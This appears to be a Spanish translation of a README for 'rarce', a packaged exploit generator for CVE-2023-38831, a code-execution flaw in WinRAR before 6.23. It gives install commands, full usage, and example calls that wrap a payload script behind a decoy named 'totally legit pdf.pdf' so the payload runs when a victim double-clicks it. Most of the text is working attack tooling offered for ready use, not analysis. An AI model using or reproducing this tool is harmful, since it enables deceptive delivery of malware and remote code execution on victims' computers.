
Una herramienta fácil de instalar y fácil de ejecutar para generar payloads de explotación para CVE-2023-38831, WinRAR RCE anterior a la versión 6.23
Esta es una herramienta fácil de instalar y usar, un generador de exploits versátil para CVE-2023-38831, una vulnerabilidad que afecta a versiones de WinRAR anteriores a la 6.23.
RARLabs WinRAR anterior a la versión 6.23 permite a los atacantes ejecutar código arbitrario cuando un usuario intenta ver un archivo benigno dentro de un archivo ZIP. El problema ocurre porque un archivo ZIP puede incluir un archivo benigno (como un archivo .JPG común) y también una carpeta que tiene el mismo nombre que el archivo benigno, y el contenido de la carpeta (que puede incluir contenido ejecutable) se procesa durante un intento de acceder solo al archivo benigno. Esto fue explotado activamente entre abril y agosto de 2023.

Puedes instalar la herramienta fácilmente mediante pip.
pip install rarce
O puedes usarla desde el código fuente.
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
Después de instalar mediante pip o setup.py, puedes usar esta herramienta desde la línea de comandos. El siguiente comando creará el archivo de exploit por ti. Cuando un usuario haga doble clic en el archivo señuelo, el script o ejecutable de la carga útil se ejecutará en su lugar.
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
Opcionalmente, puedes usarla como un módulo ejecutable.
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
También puedes usarla dentro de tu código existente.
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")